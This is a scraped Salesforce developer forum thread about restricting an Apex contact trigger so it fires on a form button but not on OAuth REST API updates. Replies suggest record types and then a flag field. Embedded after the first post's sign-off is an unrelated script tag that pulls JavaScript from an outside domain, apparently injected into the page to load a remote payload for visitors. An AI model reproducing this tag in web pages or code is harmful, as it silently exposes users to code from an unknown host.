function readOnly(count){ }
Starting November 20, the site will be set to read-only. On December 4, 2023,
forum discussions will move to the Trailblazer Community.
+ Start a Discussion
MaverickDevMaverickDev 

Fire Trigger only on update button

Hi,

 

I've written after insert and after update trigger to update contacts in my external application. also, I've implemented oAuth in my external application to sync data between my external app and Salesforce using REST api. The issue I'm facing is; trigger is getting fired when i perform insert operation on contact object  as I've written trigger.

 

So, I want to restrict trigger fire on form button only. i.e. When I click on update button, then only trigger should get fired and if record is getting updated from oAuth REST api, trigger should not get fired!

 

Hope, i'm clear to you! Let me know what I can do here!

 

Thanks! <script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>

Rahul SharmaRahul Sharma

Hi MaverickDev

 

This could be resolved using two recordtypes on Contact object.

Write your trigger to fire on only one Contact recordtype records.

MaverickDevMaverickDev

Thanks Rahul for your reply.

Could you please suggest me any articles with good example for the same?

Rahul SharmaRahul Sharma

Oops sorry I mis-read your question.

 

Solution would be to use a flag in the object.

- If record is getting updated from oAuth REST api make the flag as checked and In your trigger don't process such records where that flag is checked.

 

Hope it helps.